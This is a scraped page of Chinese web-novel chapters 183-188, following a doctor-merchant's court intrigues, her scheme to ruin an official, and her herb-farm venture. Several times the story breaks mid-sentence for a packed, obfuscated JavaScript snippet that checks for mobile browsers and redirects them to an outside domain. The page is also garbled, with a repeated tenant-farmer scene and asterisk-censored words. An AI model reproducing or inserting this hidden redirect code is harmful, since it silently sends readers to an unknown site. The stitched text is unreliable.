臣女惶恐,定不负陛下厚望,姜绾歌强作镇定地回应。 刘公公满意地点点头,正要告辞,外面又传来脚步声。这次来的是个年轻的小厮,穿着月白色的短衫,手里也捧着个盒子。 请问哪位是姜大夫?小厮恭敬地问,小的是云霁王府的,王爷让小的送份礼来。 众人又是一阵窃窃私语。云霁王爷竟然也派人送礼?这姜大夫到底什么来头? 姜绾歌心中暗叫不妙,但还是起身接过礼盒。盒子不大,但很精致,用上好的紫檀木制成,上面还雕着精美的花鸟纹。 打开一看,里面装着一套精美的玻璃瓶,里面盛着各色透明的液体,散发着淡淡的香味。 这是王爷从南洋带回的香精油,小厮解释道,王爷说,"聊助雅兴,望不负圣恩"。 这话说得意味深长!姜绾歌心头一震,顾云霁这是在暗讽顾铭轩的赏赐,同时也在向众人暗示他对她的了解和关注。 多谢王爷厚赐,她强忍心中的紧张,请代我向王爷致谢。 小厮行礼告退,刘公公也带着人离开了。水榭里重新安静下来,但气氛却变得微妙起来。 绾歌妹妹真是了不起啊,秋姨娘第一个打破沉默,语气中带着明显的艳羡,连陛下和王爷都这么看重你。 是啊是啊,其他贵妇人也纷纷附和,但语气中都带着探究,姜大夫真是咱们女人的骄傲! 姜绾歌感受着众人探究的目光,手心里全是汗。她努力保持着得体的微笑,心中却翻江倒海。 顾铭轩和顾云霁这是要干什么?在这么多人面前暗中较劲,把她架在火上烤? 第183章 承恩公夫人 各位姐姐过誉了,她谦逊地说,绾歌只是个开药铺的,能得到陛下和王爷的关注,实在是意外之喜。 哪里是意外啊,承恩公夫人意味深长地看着她,姜大夫这样的奇女子,引起关注是理所当然的。 话音刚落,众人忽然听到外面传来一阵哭声。秋姨娘皱眉:怎么回事?谁在哭? 姨娘,是后院的翠儿,一个丫鬟跑进来汇报,说是肚子疼得厉害。 肚子疼?承恩公夫人忽然脸色一变,快去看看! 姜绾歌注意到承恩公夫人的异常反应,心中有了猜测。她主动说道:我去看看吧,或许能帮上忙。 那就麻烦姜大夫了,秋姨娘连忙点头。 众人来到后院,只见一个十七八岁的丫鬟正蜷缩在床上,脸色苍白,额头冒汗。姜绾歌上前把脉,发现脉象滑数,心中了然。 没什么大事,她对众人说,只是受了些风寒,吃点药就好了。 但她悄悄给承恩公夫人使了个眼色,示意她单独谈话。 各位姐姐先回水榭吧,承恩公夫人会意,我在这里照看着就行。 等众人都离开后,承恩公夫人才焦急地问:姜大夫,翠儿她...她是不是... 夫人放心,翠儿只是受了些惊吓,姜绾歌压低声音,不过有件事我必须提醒夫人。 什么事? 翠儿有孕了,姜绾歌直接说道,大概一个多月。 承恩公夫人脸色顿时煞白,身子晃了晃,差点站不稳。 夫人!姜绾歌连忙扶住她,您没事吧? 我...我没事,承恩公夫人强撑着说,翠儿...翠儿她怎么会...她不是我房里的丫鬟,是...是老爷房里的... 话没说完,她就哽咽起来。姜绾歌心中明白了,这翠儿是承恩公的侍妾,现在有了身孕,对于膝下无子的承恩公夫人来说,无疑是个巨大的打击。 夫人,姜绾歌轻声安慰,您先别急,这事还有转机。 转机?承恩公夫人抬头看她,眼中带着一丝希望,什么转机? 姜绾歌四下看了看,确认没人后,从药箱里取出一个小瓷瓶:这是红花当归丸,有活血化瘀的功效。如果有人误食了,可能会...流产。 承恩公夫人接过瓷瓶,手都在发抖:这...这样做会不会... 夫人,姜绾歌打断她,我只是个大夫,什么都不知道。这药是治疗月事不调的,至于别的...我可不清楚。 承恩公夫人深深看了她一眼,将瓷瓶藏在袖子里:姜大夫的恩情,我承恩公府不会忘记的。 两人回到水榭时,茶会已经接近尾声。众贵妇人陆续告辞,姜绾歌也准备离开。 绾歌妹妹,承恩公夫人叫住她,改日请到府中坐坐,我有些女人家的毛病想请教。 夫人客气,随时恭候,姜绾歌点头应道。 回到杏林堂,姜绾歌一屁股坐在椅子上,长长地舒了一口气。今天这场茶会真是惊心动魄,顾铭轩和顾云霁的暗中较劲让她如履薄冰。 东家,您怎么了?阿福看她脸色不好,关切地问。 没事,就是有点累,姜绾歌摆摆手,对了,今天那些礼品都收好了,特别是那套南洋香精油,价值不菲。 是!阿福应声去办。 姜绾歌独自坐在店里,心中思绪万千。今天顾铭轩派太监送礼,分明是在向众人宣示她的特殊地位,也是在给她施压。而顾云霁的那句望不负圣恩,更是意味深长,既是在暗讽,也是在提醒。 这两个男人都不是省油的灯,她夹在中间,稍有不慎就可能万劫不复。 正想着,门外传来马蹄声。姜绾歌抬头一看,只见一个小厮匆匆跑了进来。 姜大夫!姜大夫!小厮气喘吁吁地说,我家夫人请您快去一趟! 哪家夫人?姜绾歌问。 承恩公夫人!小厮急道,夫人说有急事! 姜绾歌心中一动,莫非是翠儿的事情有结果了?她连忙收拾药箱,跟着小厮赶往承恩公府。 到了府里,承恩公夫人正在花厅里等着,脸色比下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053170|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了很多,甚至还带着一丝红润。 夫人,姜绾歌行礼问候,不知何事这么急? 绾歌,承恩公夫人起身拉住她的手,眼中含着泪水,多亏了你啊!翠儿...翠儿她因为身子不适,老爷已经决定把她发卖了。 姜绾歌心中了然,看来承恩公夫人已经按照她的暗示行动了。翠儿意外流产,失去了威胁夫人地位的筹码,自然被承恩公找借口处理掉了。 夫人言重了,姜绾歌客气地说,我只是开个药方子,别的什么都不知道。 你这孩子,承恩公夫人笑着摇头,在我面前还装什么?来,这个给你。 她从袖子里取出一只羊脂玉镯,通体温润如脂,显然价值不菲。 夫人,这太贵重了...姜绾歌推辞道。 收下吧,承恩公夫人强行给她戴上,这是我的一点心意。以后有什么需要帮忙的地方,尽管开口。 姜绾歌看着手腕上的玉镯,心中五味杂陈。在这个时代,女人的生存环境如此艰难,为了保住自己的地位,什么手段都能用出来。 多谢夫人厚赐,她最终还是收下了,以后夫人有什么身子上的不适,随时可以找我。 那就这么说定了,承恩公夫人满意地点头。 离开承恩公府时,夜色已深。姜绾歌坐在马车里,看着手腕上的玉镯,心情复杂。 今天这一场茶会,让她在贵妇圈里的地位更加稳固,但也让她深深感受到了这个时代女人生存的不易。 更重要的是,顾铭轩和顾云霁的暗中较劲让她意识到,自己正被卷入一场看不见的**斗争中。 无论她愿不愿意,都已经身不由己了。 马车轮子碾过青石路面,发出均匀的声响。 姜绾歌靠在车厢里,闭上眼睛,努力让自己平静下来。 明天,又是新的一天。她必须想办法在这场复杂的博弈中保护好自己,也要为杏林堂的发展谋划更多的机会。 至于那两个男人...她摇摇头,先走一步看一步吧。 第184章 李主事 翌日清晨,杏林堂后院的密室里点着一盏昏黄的油灯。姜绾歌坐在小桌前,面前摆着几张麻纸、一支毛笔,还有一碗看起来平平无奇的清水。 东家,您真要这么干?阿福在一旁小声问道,万一被发现了... 闭嘴!姜绾歌瞪了他一眼,老娘做事,什么时候失过手? 她拿起毛笔,蘸了蘸那碗清水,在麻纸上小心翼翼地写着字。那水看似普通,实际上是用白矾调制的矾水,写出的字迹在纸上几乎看不见,只有用火烤过才会显现。 冰敬银票藏于旧靴夹层——短短几个字,她写得格外仔细。 前几日在醉仙楼里听到李主事醉酒抱怨上司克扣冰敬的事,姜绾歌就起了心思。既然李主事对上司有怨恨,那她就推他一把,让这师生反目成仇,她从中渔利。 这李主事平时最爱喝醉仙楼的醒酒汤,她一边写一边盘算,今日正好给他送一份"关怀"。 写完字,她将纸条晾干,然后装进一个精美的礼盒里。盒子里还放着一碗热气腾腾的醒酒汤,香味扑鼻。 阿福,你亲自把这个送到李主事府上,她将礼盒递给阿福,就说是醉仙楼的秋姨娘特意让人送的,听说他昨夜饮酒过度,特地准备的醒酒汤。 是!东家!阿福小心翼翼地接过礼盒。 记住,姜绾歌又叮嘱道,一定要当着李主事的面把纸条给他,说是汤底的垫纸。他要是问起什么,你就说不知道,只是按姨娘的吩咐办事。 阿福点头应是,提着礼盒出门了。 看着阿福的背影消失在巷口,姜绾歌嘴角勾起一丝冷笑。李主事啊李主事,既然你有胆子在醉仙楼里抱怨上司,那就别怪老娘推你一把。这出好戏,应该很快就要开场了。 三天后的上午,京城东市热闹非凡。李主事穿着一双看起来很破旧的靴子,在街上行走着。他脸色阴沉,显然心情不佳。 姜绾歌正好带着石头在附近采购药材,远远地看到了李主事的身影。 东家,那不是兵部的李主事吗?石头指着前方。 嗯,姜绾歌眯起眼睛,他手里拿着什么? 只见李主事手里拿着一叠文书,神色匆忙,似乎有什么要紧事。就在这时,意外发生了——李主事脚下一滑,重重地摔倒在青石板上。 哎呀!围观的百姓发出惊呼声。 更要命的是,李主事那双破靴子在摔倒时竟然开了口,从夹层里飞出好几张银票,在风中飘洒着。 这是什么?有眼尖的人捡起银票一看,顿时大声喊道,兵部的**银票! 什么?**?越来越多的人围了过来。 李主事脸色煞白,慌忙想要收回那些银票,但为时已晚。银票上清清楚楚地印着兵部专用的字样,还有具体的金额数字。 李主事,这是怎么回事?人群中有人质疑道。 我...我...李主事张口结舌,根本解释不清。 就在这时,人群中走出一个身穿青袍的中年男子,正是都察院的王御史。他脸色严肃,捡起一张银票仔细查看。 李主事,这些兵部的银票为何会在你的私人物品中?王御史冷声质问。 王大人,这...这里面有误会...李主事慌乱地辩解。 误会?王御史冷笑,兵部**私藏于个人靴子夹层,这也叫误会? 围观的百姓们议论纷纷: 原来当官的都这样贪啊! 怪不得老百姓越来越苦,感情银子都被他们装自己腰包里了! 这种贪官就该严办! 王御史当场宣布要**李主事贪墨**,并派人将他带走调查。李主事面如死灰,被衙役押着离开了现场。 姜绾歌在人群后面看着这一切,心中暗暗得意。这出戏演得真是精彩,李主事这下算是彻底完了。 东家,这李主事怎么这么倒霉?石头不解地问。 **,这叫恶有恶报,姜绾歌装作漫不经心地说,贪官污吏,迟早要栽跟头。 三日后,李主事被革职的消息传遍了京城。失去官职的他如同丧家之犬,昔日的同僚朋友都避之不及。 这天黄昏,姜绾歌正准备关门,忽然听到外面传来哭声。她走出杏林堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053171|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,只见李主事正跪在门外,满脸泪水。 姜大夫!求您救救我!李主事哭得稀里哗啦,我知道错了,求您给条活路! 滚!姜绾歌冷声道,老娘这是开药铺的,不是收留败家犬的地方! 姜大夫,我知道您有本事!李主事爬到她脚边,那天的醒酒汤...那张纸条...我都明白了!是您指点我的! 姜绾歌心中一跳,面上却不动声色:你胡说什么?老娘听不懂! 姜大夫,您就认了我吧!李主事抱住她的腿,我愿意为您做牛做马,只求您给我一条活路! 姜绾歌看着他这副可怜相,心中冷笑。这就是她要的效果——一个走投无路的前朝官员,正是最好的眼线材料。 行了行了,别在我门口丢人现眼了,她不耐烦地说,想要活路也不是没有,就看你有没有那个胆子。 有!我有!李主事连忙点头,只要能活下去,什么都敢做! 姜绾歌从怀里掏出一张名帖,扔给他:拿着这个去永昌伯府,找管家说要投靠做门客。记住,从今以后你就是我的人了。 李主事接过名帖,如获至宝:多谢姜大夫!多谢姜大夫! 滚吧,别让人看见,姜绾歌挥挥手,以后有什么消息,及时汇报。 是是是!李主事千恩万谢地离开了。 看着李主事的背影,姜绾歌心中满意极了。这个灰金计划执行得相当成功,她不仅扳倒了一个贪官,还收获了一个有用的眼线。 当夜,姜绾歌在杏林堂后院的密室里,对着墙上的一张图仔细端详。那是她亲手绘制的京城官员关系网,上面用红线、蓝线标注着各种复杂的关系。 李主事这一枚棋子算是落定了,她在图上标记了一个新的节点,永昌伯府的门客...这个身份倒是很有用。 她退后几步,看着墙上密密麻麻的线条和标记,心中涌起一股前所未有的成就感。这张网越织越大,她的影响力也在悄悄扩展。 正当她沉浸在成功的喜悦中时,门外忽然传来脚步声。 绾绾,朕知道你在里面。 第185章 看戏 姜绾歌心头猛地一跳——顾铭轩的声音!她迅速将桌上的图纸卷起,塞进特制的暗格,动作利落无声。 整理了一下微乱的衣襟,她深吸一口气,脸上瞬间挂起恰到好处的惊讶,若无其事地走出密室,仿佛刚从正屋出来。 “陛下?”她看着踏进院子的顾铭轩,即使穿着便服,那股帝王威压依旧迫人,“夜深露重,陛下怎么来了?”语气带着一丝恰到好处的关心,更多的是疏离的客套。 顾铭轩的目光锐利如鹰,在她脸上逡巡,似乎想找出什么蛛丝马迹。 他眼中情绪翻涌,最终化为一声低沉的叹息:“朕…来看看你。最近,似乎很忙?”他意有所指地环视了一下略显空旷的院落。 “嗯,”姜绾歌坦然点头,没有回避他的目光,“杏林堂刚接了笔大单子,醉仙楼也新上了几道药膳,琐事缠身。” 她将话题牢牢锁定在事业上,不给对方任何情感试探的空间。 顾铭轩沉默了片刻,空气仿佛凝固。 夜风吹过树叶,沙沙作响,更添几分压抑。他忽然向前一步,缩短了两人之间的距离,声音带着一种不容置疑的强势:“绾绾,收拾一下,随朕入宫小住几日。” 不是询问,而是命令。 姜绾歌瞳孔微缩,心中警铃瞬间拉响! 摊牌的时刻,比她预想的来得更快、更直接。但她早已不是当初那个初来乍到、只能被动承受的穿越者。 “入宫?”她微微挑眉,神色平静无波,甚至带着一丝不解的疑惑,“陛下,这是何意?绾歌一介布衣商贾,岂敢随意叨扰宫禁?况且,” 她语气一转,斩钉截铁,“眼下军需订单正在紧要关头,杏林堂诸事繁杂,醉仙楼新菜也需我亲自把关,实在分身乏术,无法奉诏。” 她拒绝得干脆利落,没有丝毫拖泥带水,甚至搬出了“军需订单”这块顾铭轩最在意的挡箭牌。 果然,“军需订单”四个字像火星溅入了油锅! 顾铭轩的眼神骤然变得冰冷刺骨,周身气压骤降,连空气都仿佛冻结了几分。 “军需订单?”他声音冷得像淬了冰的刀锋,一字一顿,“朕让你入宫,你说忙,分身乏术。顾云霁找你合作军需,你倒是有空得很!接得爽快,做得也‘尽心尽力’!” 他刻意加重了“尽心尽力”四个字,讽刺意味十足。 姜绾歌迎着他冰冷的目光,没有丝毫退缩,反而挺直了脊背,眼神锐利如出鞘的剑:“陛下此言差矣!与王爷合作,是纯粹的交易!他出钱,我出货,银货两讫,天经地义!我姜绾歌靠自己的本事吃饭,靠杏林堂和醉仙楼立足!军需订单,是生意,是杏林堂立足京城的契机!而陛下要我入宫,是什么?” 她话语清晰,掷地有声,“是让我放弃苦心经营的一切,去做一只只能依附于您、仰人鼻息的金丝雀吗?抱歉,陛下,这不是我姜绾歌要走的路!” 她的话如同一记响亮的耳光,狠狠扇在顾铭轩帝王的自尊上。 他脸色铁青,眼中风暴翻涌,怒极反笑:“好!好一个姜老板!好一个‘靠本事吃饭’!好一个‘不是金丝雀’!朕倒要看看,你这‘本事’,你这‘路’,能让你‘忙’到几时!” 话音未落,他猛地拂袖转身,带着滔天的怒意,大步流星地离去,玄色衣袍在夜色中卷起一阵冷风,瞬间消失在院门口。 姜绾歌独自站在冰冷的月光下,夜风吹拂着她的发丝。她脸上没有任何被帝王怒火震慑的恐惧,只有一片沉静的冷然,如同深潭。 刚才的争执仿佛只是拂过水面的微风,激不起她心底真正的波澜。 就在这时,院墙的阴影处传来一声几不可闻的轻笑。 一道修长的人影如鬼魅般悄无声息地翻落院中,正是顾云霁。 他手里居然还稳稳地端着一杯热气袅袅的清茶。 “啧啧,龙颜大怒啊。”他踱步过来,将茶杯递到姜绾歌面前,嘴角噙着惯有的慵懒笑意,“看来,我这位皇兄,耐心快耗尽了。如何?被逼到墙角的感觉,不好受吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058522|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜绾歌没有立刻去接茶杯。 她抬眸,冷冷地看向顾云霁,眼神锐利如刀,仿佛要穿透他那层玩世不恭的表象:“王爷深夜翻墙,就是为了来看戏,顺便送杯茶?” 顾云霁笑容不变,将茶杯又往前递了半分:“看戏是顺便,送茶是心意。至于翻墙…走正门怕被皇兄的眼线看到,平白给你添麻烦不是?” 他顿了顿,目光变得深邃,“上次的提议,依然有效。一个人单打独斗,总有力有不逮的时候。” “合作?”姜绾歌终于接过那杯温热的茶,指尖感受着杯壁传来的暖意,但眼神依旧冷静,“王爷的提议总是诱人。但这次,我想先听听清楚,王爷口中的‘合作’,具体指什么?我又需要付出什么?” 她不再绕弯子,直接切入核心。暖茶可以喝,但代价必须事先谈明白。 顾云霁在她旁边的石凳上坐下,姿态闲适,目光却投向深邃的夜空,语气带着一丝难以捉摸的深意:“如今的朝堂,看似稳固,实则死水一潭,腐朽之气日盛。需要一股新的力量,一股…能搅动风云的力量。而你,姜绾歌,” 他转头,目光灼灼地锁住她,“医术通神,经商有道,更难得的是,你身上有股不认命、不服输的劲儿,还有…连你自己都未必完全看清的潜力。你就是那股最合适的力量。” “至于代价?”他轻笑一声,“很简单。本王要的,是一个真正的盟友。一个能在关键时刻,与我并肩,彼此信任,互相支撑的伙伴。不是棋子,不是附庸,而是…伙伴。” “伙伴?”姜绾歌咀嚼着这个词,心中微动,但警惕未消,“听起来很美好。但王爷,盟友需要的是坦诚。您谋划的,恐怕不仅仅是搅动风云这么简单吧?您最终想要的,是什么?” 顾云霁看着她警惕而明亮的眼睛,唇边的笑意更深,带着一丝野心的光芒:“本王想要的,是一个不一样的格局。一个…能让有能力者施展抱负,而非被腐朽规则束缚的格局。至于具体是什么......” 第186章 三年契约 他意味深长地看着她,“等你真正站到那个位置,自然就明白了。现在说,为时尚早。” 他站起身,准备离开,月光在他身上镀上一层银辉:“不必立刻答复我。你有时间考虑。但记住,时间,对我们每个人来说,都不多了。风暴将至,独木难支。” 说完,他身形一晃,如夜枭般悄无声息地翻过墙头,消失在茫茫夜色中。 姜绾歌独自坐在冰冷的石凳上,手中的茶杯已渐渐转凉。 顾铭轩的愤怒与威胁,顾云霁的暗示与拉拢,如同冰与火的交织,在她脑海中翻腾。 但她心中,却异常清明。 顾铭轩代表着至高无上的皇权与既定的秩序。 选择他,意味着彻底放弃自我,成为权力笼中的金丝鸟,纵有锦衣玉食,却永失自由与掌控。 这代价,她付不起,更不屑付! 顾云霁则代表着变革与未知的风险。 他像一团迷雾,充满诱惑却也危机四伏。他的“盟友”之说,真假难辨。 但至少,他提供了一个可能——一个让她在保持相对独立的前提下,借助外力,撬动现有格局的可能。 风险巨大,但回报也可能是她梦寐以求的广阔天地。 “独木难支…”顾云霁的话在耳边回响。 她深知自己的力量还远远不够。 无论是抗衡皇权,还是实现更大的野心,她都需要借势,需要盟友。 顾云霁是目前唯一主动向她抛出橄榄枝、且实力足够强大的选择。 姜绾歌仰头将杯中凉透的茶水一饮而尽,冰凉的液体滑入喉咙,却仿佛点燃了她心中的决断之火。 她猛地站起身,眼神锐利如寒星。 “走一步看一步?”她对着清冷的月光,唇角勾起一抹冷冽而坚定的弧度,“不!我的路,只能由我自己一步步踏出来!既然风暴避无可避,那就让它来得更猛烈些!顾云霁,你想借我的力搅动风云?可以!但最终谁能乘风而起,各凭本事!” 她不会把命运押注在任何男人身上,无论是顾铭轩的牢笼,还是顾云霁的船。她要做的,是打造属于自己的方舟! 她转身回屋,脚步沉稳而有力。感情?在绝对的力量和掌控自身命运的目标面前,暂时只能靠边站! 然而,就在她关上房门的那一刻,不远处的屋顶阴影里,一个几乎与夜色融为一体的黑衣人,缓缓收回了窥探的目光。 他如同幽灵般悄无声息地滑下屋顶,迅速消失在错综复杂的巷陌深处,显然是要将今夜所见的一切,汇报给某个在暗处掌控棋局的人。 天边刚泛起鱼肚白,姜绾歌已经一身利落的短打装扮,精神奕奕地站在了杏林堂后院。 昨夜的风波与抉择,仿佛被初升的朝阳驱散,只留下更坚定的决心。 “东家,真要去那么远?城外听说不太平…”阿福看着姜绾歌往马车上搬一个沉甸甸的褡裢,忍不住再次提醒,脸上满是担忧。 姜绾歌将褡裢放稳,闻言回头,眼神明亮锐利,带着不容置疑的果决:“不太平?怕什么!我们又不是去打架!带足了银子,石头也去,何况还有老赵他们接应。做生意,想赚大钱,还能一点风险不担?” 她拍了拍阿福的肩膀,“放心,看好铺子,等我回来!” 她点了点旁边的少年:“石头,带上你的眼力劲儿,今天去看药田,认认药材长啥样,以后这块儿你得帮姐盯着!” “是!姐姐放心!”石头响亮地应道,小脸上满是兴奋和跃跃欲试。他早就不是当初那个小乞丐了。 马车驶出城门,官道渐渐变得崎岖。颠簸的车厢里,姜绾歌却稳坐如山,专注地翻看着手中的几页契约草稿和一张简陋的地图,上面圈圈画画着城西几处坡地的位置和预估产量。 她不时用炭笔在上面修改着数字和条款,眼神专注而锐利。 “东家,您这次…是要干票大的啊?”阿福看着那厚厚的契约,忍不住问道。 “当然!”姜绾歌抬起头,眼中闪烁着亢奋而务实的光芒,仿佛有火焰在跳动,“老娘受够了看那些药商的脸色!价格他们说涨就涨,货源他们说断就断!凭什么?就凭他们垄断了药材源头?” 她啪地合上契约,“所以,老娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058523|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要自己种!建自己的药材基地!从根子上把命脉攥在自己手里!以后,杏林堂的药材,自给自足!看谁还能卡我的脖子!” 阿福和石头都被她话语中的豪气感染,用力点头。 颠簸了近两个时辰,马车终于在一个叫“青石坳”的破败小村口停下。 早已等候多时的药农老赵立刻带着几个同样黑瘦、满面风霜的汉子迎了上来,脸上带着局促又期盼的笑容。 “姜老板!您可算来了!”老赵搓着手,黝黑的脸上皱纹都舒展开了些。 “赵老伯,久等了。”姜绾歌利落地跳下马车,没有丝毫寒暄客套,目光直接扫向远处连绵起伏的山坡,“走,直接去看地!边走边说!” 一行人顶着日头往山坡走去。老赵边走边介绍:“姜老板您看,这一片向阳的坡地,土质虽然不算顶肥,但排水好,光照足,种黄芩、板蓝根这些耐旱的药材最合适不过了!往年我们自己零散种点,收成也还行…” 姜绾歌认真地听着,不时蹲下身抓起一把土捻开细看,又仔细观察坡地的走向和植被。 石头也学着她的样子,仔细辨认着地上的野草和土壤情况。 “嗯,确实不错。”姜绾歌站起身,拍了拍手上的土,指着其中一片相对平整、视野开阔的缓坡。 “就这一片!赵老伯,我跟你签三年契!你手里所有能种的地,加上这片坡,产出的黄芩、板蓝根,还有其他耐旱药材,我杏林堂全包了!按我定的品级,高出市价一成收购!如何?”她语速快,条理清,直接抛出核心条件。 老赵和几个药农都惊呆了!高出市价一成!还包销三年!这简直是天上掉馅饼! 往年他们辛辛苦苦种出来,还得求爷爷告奶奶看药贩子的脸色,价格被压得极低。几人激动得直搓手,连连点头:“好!好!姜老板仁义!我们干!一定好好干!” “空口无凭!”姜绾歌示意阿福拿出准备好的契约文书和印泥,“契约在此,条款写得清清楚楚。预付三成订金,白纸黑字,现在就签!签了字,订金立刻交付!” 她做事雷厉风行,绝不拖泥带水。 第187章 各取所需,互惠互利 老赵等人虽不识字,但看到阿福念出的条款确实如姜绾歌所说,又看到那沉甸甸、白花花的银子,再无犹豫,纷纷按下了手印。 签完契约,付了订金,姜绾歌心情大好。 回程时,她特意让马车绕了点路,想看看沿途的田地。行至一处更为贫瘠的洼地时,眼前的景象让她心头一沉。 只见几个面黄肌瘦的佃农,正蹲在田埂边,费力地挖着一种灰绿色的野菜根茎,旁边还放着几块黑乎乎的、不知是什么做的粗粝饼子。 几个孩子眼巴巴地看着,小脸上满是饥饿。 “停一下!”姜绾歌叫停马车,走了下去。 “老乡,你们这是…”她看着他们手中的“食物”。 一个年长的佃农抬起头,浑浊的眼睛里满是麻木和愁苦:“回…回贵人的话,这是…是苦苣根…混着麸皮…勉强填填肚子…今年收成不好,东家的租子又重…”话没说完,便是一阵剧烈的咳嗽。 姜绾歌沉默地看着,心中五味杂陈。 她想起了自己初来这个世界的艰难,也想起了自己发过的要“济世”的誓言。她不是救世主,但力所能及处,不能视而不见。 她转身回到马车边,对阿福和石头道:“把车上那半袋粗粮和那筐早上买的馒头,都搬下来!” 阿福和石头愣了一下,立刻照办。很快,半袋糙米和一筐还带着热气的白面馒头被放在了佃农面前。 几个佃农和孩子们都惊呆了,看着那白花花的馒头,眼睛都直了,却不敢上前。 “拿着!”姜绾歌声音不大,却带着一种不容置疑的力量,“这些粮食,分给孩子们和老人。不是白给!” 她话锋一转,指着远处老赵那片坡地,“看到那片药田了吗?我需要人手。秋收后,你们若愿意,带上家里能干活的人,去那里帮我打理药田!工钱,一天三文钱,日结!管一顿午饭!干不干?” 一天三文钱!还管饭!这在佃农们听来简直是天籁之音!他们给人扛活,累死累活一天也未必能挣到一文钱,还不管饭! “干!我们干!”年长的佃农激动得声音发颤,扑通一声就要跪下,“谢谢贵人!谢谢贵人活命之恩啊!” “起来!”姜绾歌一把扶住他,语气严肃,“记住,我付工钱,你们凭力气吃饭,谁也不欠谁!秋收后,带着能干活的人,去青石坳找老赵报到!就说是我姜绾歌雇的!”她不喜欢跪拜,她信奉的是公平交易。 佃农们捧着粮食和馒头,千恩万谢。孩子们更是抱着馒头,小口小口珍惜地啃着,脸上露出了久违的笑容。 回程的马车上,阿福忍不住问:“东家,您心肠真好…” 姜绾歌望着窗外逐渐后退的田野,眼神深邃而坚定:“不是好心。阿福,记住,施舍救不了人,也救不了自己。给他们粮食,是让他们有力气活下去,给**活。我付工钱,他们凭劳动吃饭,这才是长久之道。药田需要可靠的人手,他们需要活命的机会。各取所需,互惠互利罢了。” 她的声音平静而清醒,带着一种超越时代的务实和远见。她的善心,包裹在精明和长远规划之中。 姜老板!老赵远远地就招手,满脸的褶子都笑开了花,您真的来了! 老赵,说好的事我什么时候失过约?姜绾歌跳下马车,爽快地说,带我去看看地吧。 一行人沿着田埂向山坡走去。这里的土地虽然贫瘠,但胜在面积够大,而且远离人烟,很适合种植药材。 姜老板,您看这片地怎么样?老赵指着面前一大片荒坡,足足有百亩呢,以前种过庄稼,但收成不好,现在都荒着。 姜绾歌蹲下身子,抓起一把土仔细端详。土质虽然贫瘠,但透气性不错,很适合种植黄芩、板蓝根这类耐旱的药材。 不错,就是这里了,她拍拍手站起来,老赵,咱们谈谈具体的合作条件。 您说!老赵搓着手,显得有些紧张。 这样,姜绾歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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办完正事,一行人准备返回京城。马车装满了老赵送的一些土特产,还有几袋新收的药材样品。 走到半路,忽然看到路边有几个衣衫褴褛的佃农正蹲在地上,啃着什么东西。姜绾歌好奇地让马车停下,走过去一看,心头顿时一震。 那几个佃农竟然在啃草根! 第188章 奖励 你们这是...姜绾歌震惊地问。 回夫人话,一个年纪较大的佃农抬起头,脸色菜黄,家里没粮了,只能挖些草根充饥。 没粮?姜绾歌皱眉,现在还不到青黄不接的时候啊。 唉,佃农苦笑,今年雨水少,庄稼收成不好,交完地租就没剩多少了。 姜绾歌看着这几个面黄肌瘦的佃农,心中五味杂陈。她想起顾云霁曾经说过的话——要想在乱世立足,不仅要有钱,还要有人。 这样吧,她忽然开口,你们几个愿不愿意给**活? 干活?佃农们面面相觑,夫人需要我们做什么? 秋收的时候到我的药田里帮忙,姜绾歌指着远处的山坡,日结工钱,每天三文。管两顿饭,干满一个月再给五十文的奖钱。 三文钱的日工钱在当时已经算不错了,更别说还管饭。佃农们听了,眼中都露出希望的光芒。 夫人说的是真的? 当然是真的!姜绾歌从马车上卸下半车粗粮,这些先给你们应急,算是预支的工钱。 多谢夫人!多谢夫人!佃农们激动得直磕头。 看着那些佃农抱着粗粮离去的背影,石头不解地问:姐姐,您为什么要帮他们? 帮?姜绾歌冷笑,老娘是在投资!这些人现在感激我,以后就是我最忠诚的手下。花点粮食换来忠心,这买卖划算得很! 